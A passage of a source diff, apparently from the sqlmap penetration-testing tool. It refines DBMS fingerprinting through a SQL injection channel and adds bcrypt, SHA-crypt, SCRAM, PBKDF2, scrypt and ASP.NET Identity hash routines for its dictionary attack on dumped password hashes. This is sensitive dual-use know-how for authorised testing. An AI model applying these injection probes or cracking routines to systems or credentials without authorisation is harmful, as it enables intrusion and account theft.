>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None
|
||||||
|
True
|
||||||
|
>>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive
|
||||||
True
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
xor, pgpow, intdiv, bitor, shift = signature
|
return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature))
|
||||||
|
|
||||||
if pgpow: # '^' is exponentiation -> PostgreSQL family
|
|
||||||
return DBMS.PGSQL
|
|
||||||
if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ...
|
|
||||||
# ... except MonetDB shares this exact signature; it alone has a working bit-shift operator
|
|
||||||
# ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines).
|
|
||||||
return DBMS.MONETDB if shift else DBMS.MSSQL
|
|
||||||
if xor and not intdiv: # '^' is XOR AND real division -> MySQL family
|
|
||||||
return DBMS.MYSQL
|
|
||||||
if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite
|
|
||||||
return DBMS.SQLITE
|
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
def dialectCheckDbms(injection):
|
def dialectCheckDbms(injection):
|
||||||
"""
|
"""
|
||||||
Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the
|
Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the
|
||||||
given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the
|
given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the
|
||||||
WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe
|
WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe
|
||||||
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or
|
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous,
|
||||||
WAF-blocked channel yields None, leaving the scan unchanged.
|
WAF-blocked or false-positive channel yields None, leaving the scan unchanged.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
@ -114,9 +126,12 @@ def dialectCheckDbms(injection):
|
||||||
kb.injection = injection
|
kb.injection = injection
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the
|
# Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE,
|
||||||
# boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless
|
# and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query
|
||||||
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"):
|
# fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which
|
||||||
|
# is proof the oracle is trash, so classification is skipped (a true negative) instead of
|
||||||
|
# emitting a bogus DBMS from a meaningless signature.
|
||||||
|
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY):
|
||||||
signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES)
|
signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES)
|
||||||
retVal = _classify(signature)
|
retVal = _classify(signature)
|
||||||
finally:
|
finally:
|
||||||
|
|
|
||||||
|
|
@ -19,19 +19,27 @@ except:
|
||||||
from thirdparty.pydes.pyDes import CBC
|
from thirdparty.pydes.pyDes import CBC
|
||||||
from thirdparty.pydes.pyDes import des
|
from thirdparty.pydes.pyDes import des
|
||||||
|
|
||||||
|
try:
|
||||||
|
from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6)
|
||||||
|
except ImportError:
|
||||||
|
_scrypt = None
|
||||||
|
|
||||||
_multiprocessing = None
|
_multiprocessing = None
|
||||||
|
|
||||||
import base64
|
import base64
|
||||||
import binascii
|
import binascii
|
||||||
import gc
|
import gc
|
||||||
|
import hmac
|
||||||
import math
|
import math
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
import struct
|
||||||
import tempfile
|
import tempfile
|
||||||
import time
|
import time
|
||||||
import zipfile
|
import zipfile
|
||||||
|
|
||||||
from hashlib import md5
|
from hashlib import md5
|
||||||
|
from hashlib import pbkdf2_hmac
|
||||||
from hashlib import sha1
|
from hashlib import sha1
|
||||||
from hashlib import sha224
|
from hashlib import sha224
|
||||||
from hashlib import sha256
|
from hashlib import sha256
|
||||||
|
|
@ -146,6 +154,21 @@ def postgres_passwd(password, username, uppercase=False):
|
||||||
|
|
||||||
return retVal.upper() if uppercase else retVal.lower()
|
return retVal.upper() if uppercase else retVal.lower()
|
||||||
|
|
||||||
|
def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10'
|
||||||
|
"""
|
||||||
|
Reference(s):
|
||||||
|
https://www.rfc-editor.org/rfc/rfc5803
|
||||||
|
|
||||||
|
>>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096)
|
||||||
|
'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc='
|
||||||
|
"""
|
||||||
|
|
||||||
|
salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations)
|
||||||
|
stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest()
|
||||||
|
server_key = hmac.new(salted, b"Server Key", sha256).digest()
|
||||||
|
|
||||||
|
return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key)))
|
||||||
|
|
||||||
def mssql_new_passwd(password, salt, uppercase=False): # since version '2012'
|
def mssql_new_passwd(password, salt, uppercase=False): # since version '2012'
|
||||||
"""
|
"""
|
||||||
Reference(s):
|
Reference(s):
|
||||||
|
|
@ -439,6 +462,243 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
|
||||||
|
|
||||||
return getText(magic + salt + b'$' + getBytes(hash_))
|
return getText(magic + salt + b'$' + getBytes(hash_))
|
||||||
|
|
||||||
|
# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests
|
||||||
|
_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30))
|
||||||
|
_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,))
|
||||||
|
|
||||||
|
def _shaCryptDigest(password, salt, rounds, digestmod, order):
|
||||||
|
dsize = digestmod().digest_size
|
||||||
|
|
||||||
|
B = digestmod(password + salt + password).digest()
|
||||||
|
|
||||||
|
ctx = digestmod(password + salt)
|
||||||
|
cnt = len(password)
|
||||||
|
while cnt > dsize:
|
||||||
|
ctx.update(B)
|
||||||
|
cnt -= dsize
|
||||||
|
ctx.update(B[:cnt])
|
||||||
|
|
||||||
|
i = len(password)
|
||||||
|
while i:
|
||||||
|
ctx.update(B if i & 1 else password)
|
||||||
|
i >>= 1
|
||||||
|
A = ctx.digest()
|
||||||
|
|
||||||
|
dp = digestmod()
|
||||||
|
for _ in xrange(len(password)):
|
||||||
|
dp.update(password)
|
||||||
|
DP = dp.digest()
|
||||||
|
P = DP * (len(password) // dsize) + DP[:len(password) % dsize]
|
||||||
|
|
||||||
|
ds = digestmod()
|
||||||
|
for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))):
|
||||||
|
ds.update(salt)
|
||||||
|
DS = ds.digest()
|
||||||
|
S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize]
|
||||||
|
|
||||||
|
C = A
|
||||||
|
for i in xrange(rounds):
|
||||||
|
c = digestmod()
|
||||||
|
c.update(P if i & 1 else C)
|
||||||
|
if i % 3:
|
||||||
|
c.update(S)
|
||||||
|
if i % 7:
|
||||||
|
c.update(P)
|
||||||
|
c.update(C if i & 1 else P)
|
||||||
|
C = c.digest()
|
||||||
|
|
||||||
|
retVal = ""
|
||||||
|
for group in order:
|
||||||
|
value = 0
|
||||||
|
for idx in group:
|
||||||
|
value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx]))
|
||||||
|
for _ in xrange((len(group) * 8 + 5) // 6):
|
||||||
|
retVal += ITOA64[value & 0x3f]
|
||||||
|
value >>= 6
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs):
|
||||||
|
"""
|
||||||
|
Reference(s):
|
||||||
|
https://www.akkadia.org/drepper/SHA-crypt.txt
|
||||||
|
|
||||||
|
>>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$')
|
||||||
|
'$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.'
|
||||||
|
>>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$')
|
||||||
|
'$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.'
|
||||||
|
"""
|
||||||
|
|
||||||
|
rounds, saltstr = 5000, salt
|
||||||
|
if salt.startswith("rounds="):
|
||||||
|
prefix, saltstr = salt.split('$', 1)
|
||||||
|
rounds = int(prefix[len("rounds="):])
|
||||||
|
|
||||||
|
order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512)
|
||||||
|
digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order)
|
||||||
|
|
||||||
|
return "%s%s$%s" % (magic, salt, digest)
|
||||||
|
|
||||||
|
def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt)
|
||||||
|
"""
|
||||||
|
Reference(s):
|
||||||
|
https://hashcat.net/wiki/doku.php?id=example_hashes
|
||||||
|
|
||||||
|
>>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*')
|
||||||
|
'$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F'
|
||||||
|
"""
|
||||||
|
|
||||||
|
digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER)
|
||||||
|
|
||||||
|
return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper())
|
||||||
|
|
||||||
|
# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi
|
||||||
|
BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
|
||||||
|
|
||||||
|
_bcryptState = None
|
||||||
|
|
||||||
|
def _bcryptInitState():
|
||||||
|
global _bcryptState
|
||||||
|
|
||||||
|
if _bcryptState is None:
|
||||||
|
count = 18 + 4 * 256
|
||||||
|
ndigits = count * 8
|
||||||
|
prec = ndigits + 16
|
||||||
|
one = 1 << (4 * prec)
|
||||||
|
|
||||||
|
def _arctan(inv):
|
||||||
|
total = term = one // inv
|
||||||
|
square = inv * inv
|
||||||
|
i = 1
|
||||||
|
while term:
|
||||||
|
term //= square
|
||||||
|
total += (term // (2 * i + 1)) * (-1 if i % 2 else 1)
|
||||||
|
i += 1
|
||||||
|
return total
|
||||||
|
|
||||||
|
frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits))
|
||||||
|
hexstr = "%0*x" % (ndigits, frac)
|
||||||
|
words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)]
|
||||||
|
_bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)])
|
||||||
|
|
||||||
|
return _bcryptState
|
||||||
|
|
||||||
|
def _bcryptEncipher(P, S, L, R):
|
||||||
|
for i in xrange(16):
|
||||||
|
L ^= P[i]
|
||||||
|
R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff
|
||||||
|
L, R = R, L
|
||||||
|
L, R = R, L
|
||||||
|
return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff
|
||||||
|
|
||||||
|
def _bcryptStream(data, offset):
|
||||||
|
word = 0
|
||||||
|
for _ in xrange(4):
|
||||||
|
word = ((word << 8) | data[offset[0]]) & 0xffffffff
|
||||||
|
offset[0] = (offset[0] + 1) % len(data)
|
||||||
|
return word
|
||||||
|
|
||||||
|
def _bcryptExpand(P, S, data, key):
|
||||||
|
koffset = [0]
|
||||||
|
for i in xrange(18):
|
||||||
|
P[i] ^= _bcryptStream(key, koffset)
|
||||||
|
|
||||||
|
doffset = [0]
|
||||||
|
L = R = 0
|
||||||
|
for i in xrange(0, 18, 2):
|
||||||
|
if data:
|
||||||
|
L ^= _bcryptStream(data, doffset)
|
||||||
|
R ^= _bcryptStream(data, doffset)
|
||||||
|
L, R = _bcryptEncipher(P, S, L, R)
|
||||||
|
P[i], P[i + 1] = L, R
|
||||||
|
|
||||||
|
for b in xrange(4):
|
||||||
|
for k in xrange(0, 256, 2):
|
||||||
|
if data:
|
||||||
|
L ^= _bcryptStream(data, doffset)
|
||||||
|
R ^= _bcryptStream(data, doffset)
|
||||||
|
L, R = _bcryptEncipher(P, S, L, R)
|
||||||
|
S[b][k], S[b][k + 1] = L, R
|
||||||
|
|
||||||
|
def _bcryptBase64(data):
|
||||||
|
retVal = ""
|
||||||
|
i = 0
|
||||||
|
while i < len(data):
|
||||||
|
c = data[i]; i += 1
|
||||||
|
retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f]
|
||||||
|
c = (c & 3) << 4
|
||||||
|
if i >= len(data):
|
||||||
|
retVal += BCRYPT_ITOA64[c & 0x3f]; break
|
||||||
|
d = data[i]; i += 1
|
||||||
|
retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f]
|
||||||
|
c = (d & 0x0f) << 2
|
||||||
|
if i >= len(data):
|
||||||
|
retVal += BCRYPT_ITOA64[c & 0x3f]; break
|
||||||
|
e = data[i]; i += 1
|
||||||
|
retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f]
|
||||||
|
retVal += BCRYPT_ITOA64[e & 0x3f]
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def _bcryptUnbase64(value, length):
|
||||||
|
retVal = bytearray()
|
||||||
|
positions = [BCRYPT_ITOA64.index(_) for _ in value]
|
||||||
|
i = 0
|
||||||
|
while i < len(positions) and len(retVal) < length:
|
||||||
|
c1 = positions[i]
|
||||||
|
c2 = positions[i + 1] if i + 1 < len(positions) else 0
|
||||||
|
retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff)
|
||||||
|
if len(retVal) >= length:
|
||||||
|
break
|
||||||
|
c3 = positions[i + 2] if i + 2 < len(positions) else 0
|
||||||
|
retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff)
|
||||||
|
if len(retVal) >= length:
|
||||||
|
break
|
||||||
|
c4 = positions[i + 3] if i + 3 < len(positions) else 0
|
||||||
|
retVal.append((((c3 & 3) << 6) | c4) & 0xff)
|
||||||
|
i += 4
|
||||||
|
return retVal[:length]
|
||||||
|
|
||||||
|
def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs):
|
||||||
|
"""
|
||||||
|
Reference(s):
|
||||||
|
https://www.openwall.com/crypt/
|
||||||
|
|
||||||
|
>>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5)
|
||||||
|
'$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW'
|
||||||
|
"""
|
||||||
|
|
||||||
|
P0, S0 = _bcryptInitState()
|
||||||
|
P, S = list(P0), [list(_) for _ in S0]
|
||||||
|
|
||||||
|
key = bytearray(getBytes(password) + b"\0")
|
||||||
|
saltbytes = _bcryptUnbase64(salt, 16)
|
||||||
|
|
||||||
|
_bcryptExpand(P, S, saltbytes, key)
|
||||||
|
for _ in xrange(1 << cost):
|
||||||
|
_bcryptExpand(P, S, b"", key)
|
||||||
|
_bcryptExpand(P, S, b"", saltbytes)
|
||||||
|
|
||||||
|
ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt"))
|
||||||
|
for _ in xrange(64):
|
||||||
|
for j in xrange(0, 6, 2):
|
||||||
|
ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1])
|
||||||
|
|
||||||
|
digest = bytearray(struct.pack(">6I", *ctext))[:23]
|
||||||
|
|
||||||
|
return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest))
|
||||||
|
|
||||||
|
def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))'
|
||||||
|
"""
|
||||||
|
Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/
|
||||||
|
|
||||||
|
>>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10)
|
||||||
|
'$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW'
|
||||||
|
"""
|
||||||
|
|
||||||
|
prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest()))
|
||||||
|
|
||||||
|
return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost)
|
||||||
|
|
||||||
def joomla_passwd(password, salt, **kwargs):
|
def joomla_passwd(password, salt, **kwargs):
|
||||||
"""
|
"""
|
||||||
Reference: https://stackoverflow.com/a/10428239
|
Reference: https://stackoverflow.com/a/10428239
|
||||||
|
|
@ -469,6 +729,56 @@ def django_sha1_passwd(password, salt, **kwargs):
|
||||||
|
|
||||||
return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest())
|
return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest())
|
||||||
|
|
||||||
|
def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs):
|
||||||
|
"""
|
||||||
|
Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py
|
||||||
|
|
||||||
|
>>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000)
|
||||||
|
'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI='
|
||||||
|
"""
|
||||||
|
|
||||||
|
dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations)
|
||||||
|
|
||||||
|
return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk)))
|
||||||
|
|
||||||
|
def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs):
|
||||||
|
"""
|
||||||
|
Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py
|
||||||
|
|
||||||
|
>>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256')
|
||||||
|
'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2'
|
||||||
|
"""
|
||||||
|
|
||||||
|
dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations)
|
||||||
|
|
||||||
|
return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False)))
|
||||||
|
|
||||||
|
def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs):
|
||||||
|
"""
|
||||||
|
Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py
|
||||||
|
|
||||||
|
>>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b'
|
||||||
|
'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b'
|
||||||
|
"""
|
||||||
|
|
||||||
|
dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024)
|
||||||
|
|
||||||
|
return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False)))
|
||||||
|
|
||||||
|
def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs):
|
||||||
|
"""
|
||||||
|
Reference(s):
|
||||||
|
https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs
|
||||||
|
|
||||||
|
>>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32)
|
||||||
|
'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA=='
|
||||||
|
"""
|
||||||
|
|
||||||
|
subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen)
|
||||||
|
blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey
|
||||||
|
|
||||||
|
return getText(base64.b64encode(blob))
|
||||||
|
|
||||||
def vbulletin_passwd(password, salt, **kwargs):
|
def vbulletin_passwd(password, salt, **kwargs):
|
||||||
"""
|
"""
|
||||||
Reference: https://stackoverflow.com/a/2202810
|
Reference: https://stackoverflow.com/a/2202810
|
||||||
|
|
@ -560,6 +870,8 @@ __functions__ = {
|
||||||
HASH.MYSQL: mysql_passwd,
|
HASH.MYSQL: mysql_passwd,
|
||||||
HASH.MYSQL_OLD: mysql_old_passwd,
|
HASH.MYSQL_OLD: mysql_old_passwd,
|
||||||
HASH.POSTGRES: postgres_passwd,
|
HASH.POSTGRES: postgres_passwd,
|
||||||
|
HASH.POSTGRES_SCRAM: postgres_scram_passwd,
|
||||||
|
HASH.MYSQL_SHA2: mysql_sha2_passwd,
|
||||||
HASH.MSSQL: mssql_passwd,
|
HASH.MSSQL: mssql_passwd,
|
||||||
HASH.MSSQL_OLD: mssql_old_passwd,
|
HASH.MSSQL_OLD: mssql_old_passwd,
|
||||||
HASH.MSSQL_NEW: mssql_new_passwd,
|
HASH.MSSQL_NEW: mssql_new_passwd,
|
||||||
|
|
@ -572,9 +884,16 @@ __functions__ = {
|
||||||
HASH.SHA384_GENERIC: sha384_generic_passwd,
|
HASH.SHA384_GENERIC: sha384_generic_passwd,
|
||||||
HASH.SHA512_GENERIC: sha512_generic_passwd,
|
HASH.SHA512_GENERIC: sha512_generic_passwd,
|
||||||
HASH.CRYPT_GENERIC: crypt_generic_passwd,
|
HASH.CRYPT_GENERIC: crypt_generic_passwd,
|
||||||
|
HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd,
|
||||||
|
HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd,
|
||||||
|
HASH.BCRYPT: bcrypt_passwd,
|
||||||
|
HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd,
|
||||||
HASH.JOOMLA: joomla_passwd,
|
HASH.JOOMLA: joomla_passwd,
|
||||||
HASH.DJANGO_MD5: django_md5_passwd,
|
HASH.DJANGO_MD5: django_md5_passwd,
|
||||||
HASH.DJANGO_SHA1: django_sha1_passwd,
|
HASH.DJANGO_SHA1: django_sha1_passwd,
|
||||||
|
HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd,
|
||||||
|
HASH.ASPNET_IDENTITY: aspnet_identity_passwd,
|
||||||
|
HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd,
|
||||||
HASH.PHPASS: phpass_passwd,
|
HASH.PHPASS: phpass_passwd,
|
||||||
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
||||||
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
||||||
|
|
@ -591,6 +910,14 @@ __functions__ = {
|
||||||
HASH.SHA512_BASE64: sha512_generic_passwd,
|
HASH.SHA512_BASE64: sha512_generic_passwd,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if _scrypt is not None:
|
||||||
|
__functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd
|
||||||
|
|
||||||
|
# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools
|
||||||
|
HASH_TOOL_HINTS = {
|
||||||
|
HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')",
|
||||||
|
}
|
||||||
|
|
||||||
def _finalize(retVal, results, processes, attack_info=None):
|
def _finalize(retVal, results, processes, attack_info=None):
|
||||||
if _multiprocessing:
|
if _multiprocessing:
|
||||||
gc.enable()
|
gc.enable()
|
||||||
|
|
@ -898,6 +1225,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
|
||||||
pass
|
pass
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file)
|
||||||
if hasattr(proc_count, "value"):
|
if hasattr(proc_count, "value"):
|
||||||
with proc_count.get_lock():
|
with proc_count.get_lock():
|
||||||
proc_count.value -= 1
|
proc_count.value -= 1
|
||||||
|
|
@ -977,6 +1305,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
|
||||||
pass
|
pass
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file)
|
||||||
if hasattr(proc_count, "value"):
|
if hasattr(proc_count, "value"):
|
||||||
with proc_count.get_lock():
|
with proc_count.get_lock():
|
||||||
proc_count.value -= 1
|
proc_count.value -= 1
|
||||||
|
|
@ -1023,9 +1352,14 @@ def dictionaryAttack(attack_dict):
|
||||||
regex = hashRecognition(hash_)
|
regex = hashRecognition(hash_)
|
||||||
|
|
||||||
if regex and regex not in hash_regexes:
|
if regex and regex not in hash_regexes:
|
||||||
hash_regexes.append(regex)
|
if regex in __functions__:
|
||||||
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
|
hash_regexes.append(regex)
|
||||||
logger.info(infoMsg)
|
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
|
||||||
|
logger.info(infoMsg)
|
||||||
|
else:
|
||||||
|
warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash")
|
||||||
|
warnMsg += "built-in dictionary attack"
|
||||||
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
for hash_regex in hash_regexes:
|
for hash_regex in hash_regexes:
|
||||||
keys = set()
|
keys = set()
|
||||||
|
|
@ -1043,7 +1377,7 @@ def dictionaryAttack(attack_dict):
|
||||||
try:
|
try:
|
||||||
item = None
|
item = None
|
||||||
|
|
||||||
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||||
hash_ = hash_.lower()
|
